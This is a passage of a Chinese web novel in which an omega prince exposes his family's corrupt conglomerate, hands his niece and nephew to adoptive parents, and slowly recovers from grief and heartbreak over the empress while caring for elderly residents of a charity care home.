新的一年,他顺利成为加里南帝国的皇帝,这个星球上有史以来第一位omega皇帝。 “您是真的想要路易斯王子做皇帝吗?”一些来老臣来探问赫柏的口风,在他们看来,这位远道而来的邻国皇帝,自己抢了皇位的概率都高过扶持她的omega情人。 “当然,您们怎么会想到这么问呢?我和路易斯之前,是相互欣赏惺惺相惜的关系,从来没有约定过婚姻,他绝非我的所有物,作为老朋友,我乐于见到他好,”赫柏站在宴会厅的窗户前,背后是明晃晃的太阳光亮,她对舞池中央穿着帝王冠冕的路易斯举起香槟,“我的父亲死在加里南帝国,结下血海深仇,但是从今天起,有我和路易斯在,两国一定可以摒弃前嫌,多多合作,那不是很好吗?” 加里南帝国的老臣们了解赫柏的态度,明白她坚定地完全支持路易斯,都纷纷收了小心思,专心恭贺新皇。 “就要回去了吗?”路易斯脱掉皇帝的帽子,小尾巴似的追在赫柏身后,“您不再留下来住一段时间吗?还有很多好吃的,我还没带您去吃,很多好玩的地方,我小时候常去的,也想带您去看看,可是我这段时间太忙了。” “不留了。”赫柏 摇头,走马观花地走过加里南皇宫传说中价值连城的艺术画廊。 她对古典画毫无了解,如果以诺在这,起码可以告诉她应该怎么欣赏。 “留下吧,姐姐,多玩几天好不好。” “不。”“赫柏毫不留情地回神,把紧随其后的路易斯吓得顿在原地。 “我这次出差的任务已经完成了,路易斯陛下,我的国家还有一堆事务等待我的处理。” “出差……真的好狠的心,就不能说是为了朋友吗?”路易斯跟在再次转身向前的赫柏身后,自从做了皇帝,跟赫柏说话的底气更足了,有些酸溜溜地说,“我知道您想见谁,莱茵帝国的局势,您想必一直有在关注吧。” 斯宾塞集团大厦崩塌,安妮塔夫妇锒铛入狱,还在审判当中,保守估计能判个大半辈子,这些事情赫柏一定知道。 我知道,不用你说。赫柏仰着头颅继续向前,礼服在丝绒地毯上掠过一道长尾。 艾琳打来电话时也是十分惊讶,“以诺先生召开了新闻发布会,亲自历数斯宾塞集团的数条罪状,星网直播指数瞬间破了十亿,集团的丑闻再也压不下去,连斯宾塞的庄园都被砸了!安妮塔爵士被恨意滔天的民众拉出来,被迫跪地向集团手底下无辜死去的工人忏悔。” 她还说了以诺牵线,蒂娜和西泽两姐弟,被文森夫妇收养。 该死的以诺!赫柏心里咒骂,难道他怕她会对蒂娜姐弟动手吗!把他们安排给军方的人,她就不敢动手了是不是。 论狠心冷血,她算是输他一筹,自己从小长大的家族,自己的妹妹和妹夫,抬手就给扬了,毫不留情,那么疼爱的侄女,转眼就给她安排了新家,也不管她会不会哭会不会怕,会不会留下心理创伤。 ……不让她为难,他真的做到他说过的,安排好一切不让她为难。 安排得这么详尽,是想找个寂静无人的地方死了吧,那应该也是令他自己满意的结局,大义灭亲,为整个帝国铲除了斯宾塞集团这个毒瘤,为她铲除了执政路上的一颗定时炸/弹,然后自己背负背弃祖宗、冷血无情的污名,沾着满身泥垢在一个雨后春夜里默默死去。 她偏不能让他如愿! 第62章 第62章因为他是以诺 蒂娜乖巧地坐在椅子上,看着面前的一幕,有过一面之缘的夫妻马上就要成为自己的父母。舅舅抱着西泽,亲吻他的脸,侧脸仿佛渡上一层圣光,而那之后,他把他交给omega女人。 她哭个不停,从妈妈爸爸被抓进监狱开始,好像睡一觉起来一切都变了,她的家忽然就变得支离破碎,打开电视,铺天盖地都是斯宾塞集团的新闻,人们指责她的妈妈是个大坏蛋。 蒂娜已经到了懂事的年纪,知道电视上播放的“以诺先生大义灭亲,与其妹安妮塔爵士庭上对决”是什么意思,可为什么是舅舅? 舅舅是她见过最好,最温柔的人,比爸爸温柔多了,会耐心地听她说每一句话,会蹲下平视她地眼睛,从来不把她当小孩子糊弄,她以为,舅舅是世界上最好的人。 “蒂娜。”以诺来到蒂娜身边,还是像平时一样叫她的名字。 蒂娜抬起哭肿了的眼睛,男人俯身揉揉她的脑袋,“我们蒂娜这么乖,叔叔阿姨,还有利尔哥哥,都欢迎蒂娜加入新家。” 那对夫妇抱着西泽,小男孩利尔躲在文森背后,不明所以地张望,还有些对她的可怜……俨然成了等待她过去的一家人。 这对蒂娜来说,不啻为一幕恐怖片。 “我不想去新家,舅舅,你把爸爸还给我,好不好?变成穷光蛋也可以,再也没有漂亮的衣服穿,没有好的房子住,也可以,我想和爸爸在一起。”她拼命摇头,握住男人的衣袖,希望得到他的心软,她隐约知道妈妈犯下十恶不赦的罪行,求的只是放过她的爸爸。 以诺依然微笑,像平时一样,轻柔的口吻给她讲道理,“爸爸和妈妈共同犯罪,将会面临三年以上刑期,等她出狱的这段时间,你需要监护人,蒂娜,你可以继续叫叔叔阿姨,他们会像爸爸妈妈一样照顾你,送你上学,放学,你还可以和利尔哥哥一起玩,一起做作业,西泽也会得到很好的照顾,直到你的爸爸完成刑期出狱,你还可以回到他身边。” “我不要,我不要!”蒂娜的腿在空中乱蹬,在以诺的裤腿上剔出一个灰印子,他用手拍了拍,还是温柔稳定地看向她,叹了口气,“蒂娜,你需要一个新家。如果不是文森叔叔和温斯特阿姨,就会是福利院,你已经是大孩子,可以自己选择,抱歉,我先入为主地认为去文森家会是对你最好的选择。或许,我带你去福利院体验一天,你来做出决定,到底要选择哪种生活,好吗?” 蒂娜哭得快要岔气,惊恐地看着一直对自己很好的舅舅,好像看见什么恶魔。 “蒂娜,亲爱的蒂娜。”温斯特夫人得到丈夫的指点,把西泽交给丈夫,过来执起蒂娜的一只手,“我们都很喜欢你,亲爱的宝宝,阿姨在家里布置了一个满是熊熊的房间,有熊熊抱枕、熊熊茶杯和熊熊睡衣,哥哥很喜欢,阿姨没让他碰,全是给你的。” 蒂娜不再说反抗的话,含着泪水默不作声,偶尔抬眼充斥恨意,盯着那些可怕的大人看。 舅舅抱了她,“想念舅舅的话,就给我打电话。” “以诺上将真的忍心……” 蒂娜背着小书包走在前头,温斯特和抱着西泽的文森抱怨,“顾忌着这两个孩子,也不应该那么狠,对待自己的妹妹妹夫。” 亲自召开记者发布会,公布自己妹妹以权谋私的种种罪行,包括她作为集团主席,手上积攒的十几条人命,他和风风火火闯进来的安妮塔爵士在记者面前空开对峙。 这件事闹得太大,内阁不得已在皇帝缺位的情况下成立调查委员会,结果证实,以诺在记者面前说的全部都是真相,而且证据链非常完整,确凿,显然是内部人员花费大量时间做了极为细致的收集和整理,呈现的材料足以拿到法庭上让集团的几位决策者当场入狱。 “你不懂,斯宾塞集团的名声早就烂透了,陛下为了以诺上将,很吃力地扶持这艘烂船,能够一次性剜除这颗毒瘤,长久而言,对陛下的执政之路是很好的,当然,对这个国家的民众百利而无一害。” 温斯特搂紧怀中熟睡的西泽,理性来说,她认同以诺上将的做法,安妮塔爵士做错了事,应该接受惩罚,但是作为感性的omega,她实在没办法接受,“可那毕竟都是他的亲人呀,他真的忍心这样快刀乱麻,让整个家族分崩离析,让他的妹妹妹夫锒铛入狱,让两个孩子从此没有家么!如果是我的话,无论如何也做不到的。” “所以他是以诺……” 是大家都熟知的那个以诺,会在战场上救一个小兵而放弃自己逃生的机会,自然不会把他的家人看得比陌生人更重,不惜历时大半年,作为集团的名誉主席搜集完整的证据,一举毁掉整个集团……感恩这个世界上有这样的人,虽然对于他亲近的人来说,的确是残忍了。 文森回忆起以诺恳请他收养两个孩子的那天,他刚刚对媒体做出公证,贡献他的全部财产,无论是年少时期从家族继承来的藏品,还是现在作为名誉主席得到的一切,每一分一毫都与斯宾塞集团脱不了干系,带着犯罪的肮脏污秽的烙印,所以他请专人清算公开,全部捐献给公益机构。 他不停咳嗽,对他说抱歉,冷静地诉说蒂娜和西泽所有的理财基金和保险——那些不会随着斯宾塞集团一起被清算——以及收养他们的话,每个月会作为监护人从账户里领到多少钱,凭 心而论那是一个很诱人的数字,对于中产出身的文森来说,绝对是一比划算的买卖。 他并不对钱心动,就算没有钱,是以诺上将的亲人,他也会好好照顾,只担心上将,为什么好像在托孤。 “您不可以亲自收养他们吗?你是亲舅舅,比所有人都合适,孩子们从心理上也更能接受。” 以诺说他不确定自己还能活多久,蒂娜需要一个长久,稳定,安全的成长环境,“在她心里,我永远是一个坏人会比较好,那样在我走了之后,她不会太难过。” 还能活多久……以诺在战场上受伤后,文森去病房探望,粉碎骨折的手臂上绑着绷带,而以诺上将,碎裂的是双腿,他们见面的一瞬间确认对方的想法。 没有办法,以那种姿态活着,作为飞行员再也无法操纵战机,无异于失去生命中最大的自由。 好在他的身边有温斯特,总是让他在绝望的时候觉得,人生还有希望,不能在体会无垠的星空里自由翱翔,所幸身边还有柴米油盐的温暖相伴,日子一天过去一天,也就那么回事。 可是以诺上将,把这种念想寄托在陛下身上,实在是希望渺茫,两人纠缠了那么久,似乎快要看到结局了,陛下转身离开,陪伴邻国王子一路劈开荆棘登上皇位,她又开启了另一段传奇的人生故事,以诺先生成为被翻过一页的陈旧篇章。 百转千回,让凶悍的alpha也生出满腹愁肠,文森叹气,对温斯特说:“咱们以后多对两个孩子上心吧。” …… 以诺回到自己的住所,是一间租住的平民小屋,按周付结,每周需要的租金不超过他以前的一杯下午茶,他从市中心公寓搬出,只带上小雀和三套衣服。 把整个房子收拾得整齐干净,如果某一天决定要走,就带上他唯一的箱子和小雀,不给屋子的主人添麻烦。 生活水平骤降使小雀也变得蔫蔫的,也不瞎叫唤了,好奇的眼睛盯着自己的主人。 主人好像在哭。 以诺平躺在床上,抱着一件赫柏的睡衣,那是他唯一带出来的多余的东西,他离开发布会,把自己锁在屋子里,任由外面巨浪滔天,那期间只是抱着这件睡衣哭泣。 明明身体已经好了,那瓶从赫柏的身体里提取的信息素制作的药剂,是解放他的钥匙,让他不再依赖于她的信息素,可是为什么,心瘾却越来越严重。 严重到时时刻刻都想象赫柏出现在她面前,打开房门,霸道地闯进他怀里,占了他地全部怀抱后变得乖乖甜甜,说游戏结束了,她又回到了他身边。 赫柏明明不会回来了啊,她给了他那么多次机会,她很爱他,那根本不是占有,她想要他成为和她并肩的伴侣,可她做了那么多给了他那么多次机会,全都被他给毁了。 他还以为她好的名义,把她推到别人面前。 她说的不错,他就是个不敢承认感情的胆小鬼,他只感躲在伟光正的大旗后面,安慰自己做得没错,他以“为她好”的名义掩饰自己忍不住接近的心。 而现在,赫柏不再爱他了,那样真的很好,他本来就是这样想的,他在她留在她身边的任务,彻底完成了…… 离开吧,放手吧,所有人都会好,以诺,不要再有执念了,他对自己说。 第63章 第63章云端和尘埃 电视上播放新闻,几百年的斯宾塞贵族轰然倒塌,定格在安妮塔和几位大股东离开法庭,被押送到监狱的画面,小商店周围聚集了很多周边居民,拿着要结账的东西站在柜台边,和店主一起看得入迷。 安妮塔的容貌出色,在这样的情形下显得憔悴又整洁,吸引了不少可怜和惋惜的声音。 “两年是埃利森集团,现在轮到斯宾集团……我奶奶说,那是像太阳一样稳定的大家族,她活了八十九年,也没想到斯宾塞家族还有倒台的一天!” 说话的人名叫阿布,一位平民青年,挤在柜台旁边盯着安妮塔的脸看,毕竟是曾经出现在很多产品外包装上的,形象很好的集团主席,优雅明朗的贵族女人,变成这样,说话人不禁对这种世事无常发出一丝感叹,“真的很可惜啊,如果安妮塔爵士没有走上歪路就好了,明明是那么好的贵族家庭呀。” 立刻有人接话:“这样的大坏人,就应该被老天收了!让她多活一天都是在浪费水和空气,真希望在行刑的时候也能现场直播,我要当成下饭菜来看!” “对啊,你不知道斯宾塞集团做了多少坏事吗?竟然为它可惜!你想想被这个女人害死的无辜工人,想想为了家人讨说法却被强权镇压,殴打恐吓、囚。禁的工人家属,还会觉得这个女人可惜吗?” 后面的人推搡着最里面的阿布,叫他不买东西就滚出去。 “买!我买!我说错了,这个女人的罪恶罄竹难书,那总行了吧。”在众人的怨怒下,阿布乖乖认错,把一罐油放在桌上,从裤袋里掏出层层包裹的一袋金币,一个个地数,数着数着会心疼地看向最新物价告示牌,重复确认一下他要付多少钱。 一个大企业的倒台对生活的影响是方方面面的,比如斯宾塞集团占据了帝国60%的粮油生产加工市场,立竿见影的影响是居民们排队等购的米面油在几天内涨价了几倍,据说很快就会断供。 所以消息一出,居民们怨声载道,纷纷各显神通去寻找应对的措施,跳过经销产商找农民拿货、找人从国外渠道运回来等等,什么手段都没有的平头百姓,只能早起来到小商店外面排队,等待开门,咬牙买下一天一个价的生活必需品。 天没亮就第一位来排队的阿布得到了一罐1000毫升的食用油,单手拎着油离开柜台,走到商店外,意外见到一个气质很特别的男人。 他看起来很眼熟,总觉得在哪里见过,戴着口罩,金发软软耷拉在眉眼上,双手插在大衣口袋里,一副清冷出尘,与外界隔绝交流的样子,但他看见他提着食用油很吃劲,主动过来帮忙扶着罐子,帮助他调整了个更顺手的姿势,阿布抱紧油罐,警惕地说了声谢谢。 “什么呀!怎么米价变得这么贵了!你是不是欺负俺们农村人不懂事!我昨天才听说的是一个金币一斤,今天就又变了!哪有这样的事呢!” 商店门口,拎着油的阿布发现身边的男人耳朵动了动,眉心微蹙。 近距离看男人的脸,才发现他的眼睛十分有神性,和那尊教堂里的圣父雕像一模一样,和他对视的瞬间,阿布感觉到了静谧似海的温柔和包容,下意识认为自己应该对他倾诉些什么,而他一定会毫不吝啬自己的时间,温柔地注视着他,直到他的倾诉完成。 他在平民区长大,没见过这样的眼睛,平民区的大家要不就是尖酸泼辣,要不内敛避事,没有人会这样宁静地注视别人。 商店里面传出老板粗哑的声音:“不买就滚!” “老板,你这样是不对的,咱们陛下都说了,会尽快稳定物价,不准商店私自哄抬价格,你这样的行为应该被抓进监狱!”有人出声反抗,似乎从老板手里抢走遥控器,转到最新新闻。 “据内阁最新消息透露,赫柏陛下已于日前低调回国,正在准备参与军队阅兵相关事宜,内阁发言人艾琳女士表示,陛下十分关注民生动向,紧急召开会议应对由斯宾塞集团主要负责人 入狱所带来的一系列连锁问题,要求在最短时间内稳定物价,保障民生,艾琳女士特别强调,陛下要求所有商家不得哄抬物价,有违令者欢迎向警方举报,依照情节严重程度将面临三年以下刑期。” 新闻播报员的声音引起群情激愤,纷纷指责商店老板,阿布提着手上的油急得直跺脚,直接回到商店里要求退款。 场面一度混乱,后来老板不得已答应了退钱,一个个金币慢悠悠地数,数了老半天,消磨大家的时间,阿布无意中看向玻璃橱窗外,男人还站在那儿,按在窗上的手掌,一点点血色都没有,看向他们的眼睛好像含泪。 阿布被别人推搡了一把,扶着柜台稳住后也不敢再往后看,不知道为什么明明素不相识,看着男人悲伤的眼睛他也很难过,等到他从老板那儿拿回自己的金币,揣着金币离开的时候,奇怪的男人已经不见了。 阅兵仪式上,去了加里南帝国几个月的皇帝终于再次露面,出现在本国媒体地的镜头中,还是一如既往地从容大方,美丽优雅,对着镜头微笑。 人们这才发现他们是如此想念他们的陛下,以及他们心底里有多爱戴他们的皇帝,总是出现在邻国的媒体上,和那位已经成为皇帝的路易斯王子出双入对,莱茵帝国的人们在和加里南人的对线时常常落于下风,因为他们的陛下都跑到别国的领土上去了。 “如果不是你们国家这也不好,那也不好,你们的皇帝怎么会来我们国家‘暂住’这么久呢,没有道理啊,从来没有过这样的事~”诸如此类的幼稚的话题,在两个有世仇的国家的民众之间来回开展。 他们的陛下还是打扮得很漂亮,一点都不像加里南人说的那样,因为不舍得他们的路易斯皇帝而黯然神伤,却因为家国重任不得不分开,所以形容憔悴,可怜兮兮。相反,他们的皇帝只要出现在公众场合就会打扮得非常漂亮,而且是她自己享受漂亮,别人看着也舒心畅快。 “啊,有没有想念自己国家的民众呀,怎么媒体还会问这种问题呢?”陛下在镜头前似乎没有准备到这个问题,看向身边的工作人员,再看回镜头时快速吐了吐舌头,歪头俏皮地笑,“当然有啦,我每天都在想念我们自己的国家呀,还有我的臣民们,是非常,非常想念的,这个回答可以过关嘛,让我过关吧,再多的答案,我现在想不出来,过后请我的团队写一篇专业的发言稿才行。” 天哪,陛下这是在撒娇吗!直播平台底下的评论多了一连串“啊啊啊啊啊——”“好喜欢,好喜欢我们陛下,我的姨母笑一直没停过谁懂啊——”“每天都被陛下吊成翘嘴啊啊啊啊,不管了我要把ID改成‘赫柏小姐的狗’——” 赫柏的采访也被即使放送到城市各大CBD屏幕上,所有的人都从极为高清的,能看到脸庞纤细毛发和血丝的屏幕上,看到她那张毫无瑕疵的脸。 以诺站在街角,和所有人一起抬头看向她。 他在生病,不时裹紧风衣搂住单薄的身体弯身咳嗽,他果然就是媒体抨击的那一类帝国的蛀虫,成为彻底的穷人后才发现自己的生存能力有多弱,很快就受凉发烧,断断续续病了很久。 因为生病的缘故意识很不清醒,总是想到赫柏,一张张交叠的,各种表情的脸,她在他脚边跪着固执地抬头,表面温驯却时时刻刻入侵他的边界,强迫他接受她的一切想法,她强势地拥抱他亲吻他,神情和语气十分恶劣,得逞时开心地扬起眉眼,她美丽的眼睛总是带笑,真笑或假笑,红唇总是做出对他索吻的姿态。 她令他着迷的发肤和气息。 都没有了,她不会再回来了,她被他亲手推开。 连信息素的羁绊,都没有了,曾经他最痛恨的,自己淫。靡不堪的身体,现在却让他充满痛苦地怀念,怀念只有赫柏才是他的救赎,所以心安理得地牵住她的衣角,让她留在他身边。 什么都没有了。 屏幕里的赫柏身边多了一位红发青年,是亚瑟,作为对福利院最优秀的孩子的奖励,给予他们几个名额,和皇帝一起在前排参与阅兵,赫柏和亚瑟相谈甚欢。 仿佛一道惊雷劈向以诺,他终于懂得自己有多可笑,他根本就不是什么圣人,他浑身上下都充满私心,不想,一点也不想看着赫柏和亚瑟走在一起,这是他亲手造成的,上天对他自以为是的惩罚…… 第64章 第64章新的故事 文森和几位军方的成员来拜见皇帝,阅兵开始了,现在代表了帝国最高水准的战机,赫柏号,由军队的众生荣誉勋章获得者,以诺先生设计。 战机在低空飞行而过,变换队形,所有人都看到了,银白色的机身反射太阳的光芒,机翼流畅划过天际,宛如一件精美的艺术品。 “设计师以诺先生在设计‘赫柏号’时,不仅赋予其世界顶尖的操纵性能,而且加入了独特的审美巧思,和莱茵帝国传统的静谧深沉的审美取向结合……”播音员亢奋的声音,落在每个人的耳中。 赫柏端然坐着,昂起透白的脸,沉黑眼仁追随着赫柏号移动。 国内斯宾塞集团的事闹得这么大,陛下愣是等到一切都尘埃落定,安妮塔等人被判刑了才回来,回来后只说了要稳定因为这件事情带来的物价波动……不见对以诺先生有什么说法。 陛下的反应也太平淡了啊,吃瓜群众设想,她肯定会很心疼以诺,许给他正宫之位,或者她会大发雷霆,斥责以诺擅作主张,怎么样都好,不是现在这样淡淡的样子,小道消息说陛下和以诺先生其实已经掰了,以诺从中心公寓搬走,不知去了哪里。 cp粉心情复杂难以言喻,吃瓜群众瓜瘾没满足抓肝脑心。 结局真的就是这样吗?很多人看向赫柏,发现她在播音员提到以诺时没有任何反应,连类似于听到老情人的名字微微皱眉的神情都没有,就像听到一个无关的人。 而且她的身边有一个空的坐席,放着“以诺斯宾塞”的名牌,也就是说,给以诺先生送去了邀请函,只是他没有出席。 真相呼之欲出,可怜的以诺先生被小皇帝抛弃了,在皇帝陪伴路易斯回国的时候,他在国内默默发疯,撞翻所有人,想要赢得君王一顾,可是皇帝根本不为所动。 “会不会这一切本来就是一场阴谋,陛下想要解决斯宾塞集团,所以假意宠幸以诺……” 这种阴损又可怕的招数,他们陛下真的做的出来,都把那么骄矜的以诺先生驯成当众下跪献吻的宠物了,再哄得他晕头转向,亲自供出集团内部的阴私也不难,这样就兵不血刃地解决了一个盘根错节的百年贵族,而那段时间她本人在国外,多无辜呀,连衣角都没有沾上一滴血。 “不可能吧……陛下她怎么说也只有二十岁呀,人,怎么可能坏成那个样子。” “你不知道,有传闻说,老皇帝不是病死的……” “嘘!你看——” 观众席窃窃私语的两人对上切换到赫柏陛下的屏幕画面,不约而同地闭嘴。被他们议论的小皇帝眉眼含笑,漆黑的眼睛却仿佛穿透时空,落在每个人身上,让所有人都感到自己处于那双眼睛的审视之下,不由寒毛耸立,闭嘴不言。 但他们明明知道的,皇帝不可能看见他们每一个人,她只是看向她面前的摄像机镜头而已。 “陛下,歇息一下吧,您辛苦了。”阅兵间隙,广告播放时间摄影机挪开,主看台上,亚瑟给赫柏送来一杯冒着热气的咖啡。 现在的亚瑟很安静,坐在赫柏身边,除了轻声细语回答孩子们的问题几乎不说话,敏锐地察觉到皇帝陛下有点困乏,在直播镜头前端正坐了两个小时后,挺直的脊背稍稍松懈,他去找艾琳要了一杯热咖啡。 很安静,很体贴,赫柏喜欢这一类的人,多看了亚瑟几眼。 “陛下。”他正半蹲在一个孩子面前说话,寻着她的目光微笑着看过来,赫柏发现别人的注意力一旦不在她身上,她就会对那个人生出很大的兴趣。 “你们在说什么?” “爱丽儿说她肚子很饿,我叫她再坚持一会儿,因为坐在陛下身边参加 阅兵,是非常非常珍贵的机会,如果就这么走了,长大以后她一定会后悔的。” 小女孩鼓着面颊,揪了揪亚瑟的袖子,抱怨他泄露了他们的对话,赫柏发现亚瑟挺适合做幼师的,小孩子们都喜欢他。 礼服口袋里还有颗糖果,是她怕自己饿,随时准备吃的,她“啧啧”两声吸引小女孩的注意力,把糖果扔给她。 “爱丽儿,要跟陛下说什么呢?”“谢谢——” 赫柏不否认现在的亚瑟具有魅力,但他在她的目光下渐渐脸红,她又觉得不过如此,淡笑着收回视线。 她有反思自己为什么会让以诺没有一点安全感。好像全世界都知道她生性恶劣,在非工作场合把艾琳灌醉了才能听到一句实话,“你这样的人,我以前真的怀疑有谁会成为你的伴侣,那个人也太倒霉了,你只爱你崇拜的人,但既然是人,就不可能是完美的啊,靠得越近,越能看清对方的缺点和不足,爱一个人本来就是互相包容的过程,你不可能包容的,你在自己爽完之后拍拍屁股就跑了。” 赫柏真的不服,她的爱情经历只有和以诺的这么一段,持续了好多年呢,从她懂得什么是爱情开始,她是个很会坚持的人,凭什么这么说她呢。 “如果不是以诺先生,他折腾了这么久,一直没有让你如愿得到他全副身心的爱,你觉得,你和他的关系还会是这样么?” 艾琳的话让赫柏有种拨开云雾的清晰感,好像确实是这样,她爱以诺,不仅是爱他的温柔善良,更爱他不与世俗合流的叛逆,他无论在什么处境下都坚守本心,绝不屈服的灵魂。 从很多年前,在皇宫的阳台上仰望星星,以诺说他要去参军开始,参军,那是什么,赫柏只知道他要去做一件从来没有omega做过的事,他会开创一段以他为名的历史。 她深深地敬仰,崇拜他,从彼时到今天。 广告之后再次转接的直播画面,陛下似乎没有意识到摄像头重新开启,握着咖啡在垂眼出神,十分可爱,还是身边的红发福利院老师拍了拍她的手臂,提醒她回神。 陛下对那位老师笑着道谢,有人发现他们今天已经说过很多句话了,还有人发现那位男老师好像长得不错……难道一段新的故事要开始了吗? 以诺在众人赫柏和亚瑟的议论猜测中离开人群,朝自己的小屋走去,打开房门,浑身瘫软地躺下,没有一点力气。 “我怎么会有你这样的哥哥,即便是动物也不会忍心伤害他们的家人!爸爸妈妈去世后,我们就是最亲的亲人,你非但不帮我,还向你的家人捅刀,你要把爸爸妈妈经营了一辈子的事业全都毁了!你抿心自问,你对得起我,对得起你的姓氏对得起爸爸妈妈吗!” 神魂虚弱之际,以诺想起在法庭上安妮塔挣脱警卫,跑过来揪住他的衣领大吼大叫,双眼喷火,说“你这个吃里爬外的东西,你以为贡献出自己的家族,皇帝会念着你的好吗,太可笑了,你就看看她什么时候会彻底抛弃你吧,你永远永远都只是个上不得台面的玩物!” 不用等着看,他已经被抛弃了,那时以诺在心里回答安妮塔。 安妮塔在哭,被两个警卫按着,不得已一条腿跪在地上,蓬头垢面地看着他哭,以诺很想上前抱抱她,像小时候那样告诉闯祸了的妹妹,没关系的,只要接受了惩罚,所有人都会原谅你,用余生去忏悔,你还可以升上天堂。 从那趟庄园之行开始,朱莉告诉以诺斯宾塞集团的种种秘闻,工地上经常“突发急病”暴亡的工人、工地附近被污染的水源,使几条村子的人生起怪病、曾经有几个从集团离开的员工向媒体和警方检举,迅速失踪,至今下落不明…… 一直以来,几个大家族联合皇室,操纵整个帝国的经济命脉,随着赫柏的登基,一切陈腐老旧的都被推翻,几个大家族相继倒台,在废墟之上,她建设她的王国。斯宾塞家族却是漏网之鱼,以诺知道,当初埃利森集团的事,安妮塔一定有参与其中,她却被赫柏宽恕。 是因为他,是因为他所以赫柏不想对斯宾塞家族下手,反而尽力扶持……她不知道,如果安妮塔没有得到一些教训的话,是不会收手的,长此以往,那会成为她的政绩上真正的污点,他不能看着这种事情发生。 那时赫柏向安妮塔提出合作,条件是把他推举为集团主席,以诺独自做了这个决定,他要搜集证据,消灭自己的家族。 安妮塔从小就这样,想要的东西一定要不惜手段拿到手,为了得到女仆亲手为女儿做的新裙子,污蔑女仆盗窃把母女俩赶走,以诺看着安妮塔哭肿了的眼睛,哀伤且内疚,后悔当时知道这件事时没有尽到劝诫的责任。 这样是好的,虽然短期造成一些混乱,但是长久来看所有民众都会更加美满快乐,这符合以诺的做事准则,所以他做的毫无负担,为了赫柏,也为了所有人。 安妮塔被警卫拉下去前,盯着他的眼睛小声说:“以诺,你愧对家族,等你死了,爸爸妈妈和所有祖先都不会接纳你的,你以为你会上天堂吗,不,你犯了伤害背弃祖宗的大错,只能一辈子在地狱里做个孤魂野鬼。” 以诺看着斑驳的天花板流泪,孤魂野鬼吗,有可能吧,好像那也不错,在他意识到“不会再有赫柏在他身边”这件事情后,人间已经变成了地狱。 第65章 第63章悟了 直到春天快要过完,一切尘埃落定,赫柏稳住了国内局势,很少有人再议论斯宾塞集团的新闻,以诺还活着。 他告诉自己还有一些事情没有做完,蒂娜在文森常常晚上哭醒,他要向文森了解她的状况,说她喜欢吃什么,怎么哄她吃饭,晚上不肯睡觉怎么办。 好在蒂娜现在越来越好了,以诺有时候目送她放学,她和文森家的小男孩一起出来,说说笑笑,那个叫利尔的男孩在上车前会仔细护住她的头,文森和温斯特夫人常常亲自来接他们,一起去餐厅吃饭,他们都对她很好。 还有伊莱,尼科夫和露娜,一座小型康养机构里生活的几位老人,他们没有子女和亲人,满身疾病,互相作伴走过人生最后一程。 那是在以诺最想离开的时候,他躺在床上尝试憋气,每次到达28秒骤然松开,大汗淋漓地喘息,在那时听到屋外的钥匙转动声。 伊莱老得看不出年纪,脊背拱起,必须依靠拐杖站立,他说自己大概快两百岁了,年轻的时候就住在这间小屋,后来,他生病了无法自理,侄子就把他送去养老院,这屋子啊,好几十年没回来了,“租给你的那个人,应该就是我的侄子吧。” 那个养老院几年前做的很大,有一百多个房间,园子里总是热热闹闹的,但是近年来因为各种原因,渐渐冷清,老板想把机构关掉,但还有几个没钱又没亲人的老人住在那儿。 老板米契尔是个好心人,从不把任何人赶走,现在的养老院纯粹是在做慈善 ,每年要贴补下去不少钱,有时候接一下廉价的手工,让老人们给一个个布娃娃缝扣子,边说话边慢慢干,让他们赚到吃饭的钱,心底也好受些。 米契尔的工厂最近效益不好,接电话时老是生气,老人们害怕他要卖掉机构那块地,伊莱想到他在以前的家里还有一袋金币,好像是藏在床板下面,就回来看看,可惜和以诺一起挪开铁架床,下面只有一只打开的木箱子,空空如也。 伊莱拍大腿,给侄子打了好多个电话,无果,伤心地坐在床沿,以诺提出陪他去找米契尔,可能有别的办法。 “以诺亲王,您……”米契尔有看最近的新闻,没想到以诺会出现在他面前,听闻来意,他摇头苦笑:“您放心吧,就算把我的全副身家都拿出来,我本人不吃不喝,也不能亏待这些老人,我答应了会帮他们送终的。” 米歇尔是个大大的好心人,看出以诺走路一瘸一拐的窘迫,询问他能不能帮忙照顾这些老人,那样就可以少请一个护工,作为报酬,他可以随意使用园区里的复建设施。 养老院里还剩三个老人,都是老到在睡梦中离开也没人会惊讶的年纪,甚至在以诺出生之前,他们就已经住进了养老院。 时间在他们身上静止了,只要他们不在意,时间的流逝就没办法给他们带来任何痕迹。他们不知道新的皇帝,不知道以诺亲王和皇室的纠葛,不知道大家族的兴衰,只知道今天的饭菜能不能咬得动,每天都乐呵呵的,会非常惊奇地举起一颗牙齿,说自己又掉牙了,也会走着走着就拍拍腿脚,大声叫唤,说自己迷路了,其实只是在花园里走了小半圈。 露娜拍拍以诺的手臂,问:“小伙子,你今年几岁啦?” “三十岁呀,好年轻的呢,身体也好,长相也俊,真是充满期待的人生呢。” 充满期待吗?以诺给她喂打碎了的迷糊,没有应答,露娜咽了一口继续说:“我当年啊,好年轻的时候,也就三四十岁吧,做生意,钱全被骗光啦,一夜间负债几百万,我都想去跳河了,在河边睡一觉,看见早晨的太阳光想着,死了就看不到这么好的日头了呀,好活赖活我也得活着!” “我就去跑工地呀,干苦活累活,一点点还债,在我老的干不动之前,把钱都还完了,听起来挺苦的是不,辛辛苦苦一辈子,也没变成富翁,但是现在想想,还是值得的。这一生里遇到很多好朋友呀,虽然他们都不在身边了,还有我那老头子,虽然他也死了,但我现在想到他们,每天都挺开心的,想到他们就在那头等着,一点都不怕了。” 以诺双眼泛起泪光:“您就不害怕,这辈子没有任何的价值吗?没有对这个世界贡献些什么,没有人记得您的名字,您从未有过一瞬间的害怕吗?” “不怕,我又不是什么伟人,操心什么价值和贡献,我勤勤恳恳工作,一不害人二不犯罪,过好自己的人生,已经是一种贡献了,我也不想要别人记住我的名字,上天会记住,我觉得我死后能上天堂。” 以诺在这里感受到另一种自由。 他会更加热爱生命本身,而不去对它期许那么多的意义和价值,不需要找到一个所谓的‘支点’,自己也能活得很好。 热爱生命本身,学着接受它的无常和崎岖。 进入夏天,几天之内,伊莱和尼科夫相继在睡梦中离去,以诺和米契尔一起为他们找了墓地,还有露娜,失去了两位好伙伴的她变得郁郁寡欢,以诺尽量更多地陪伴她。 一起看电视,电视里播放皇帝的新闻,以诺着迷地看着,尽管只出现了一秒钟赫柏的镜头,是她在视察一个企业,周围有很多人,他只能捕捉到她的一小块侧脸,他还是目不转睛地盯着屏幕。 “你很喜欢这位小皇帝?”露娜转来浑浊的眼睛问他。 感官稍稍迟钝的老人也发现了,只要有皇帝的新闻,他就会特别专注地看。 “我……我喜欢。”以诺承认。 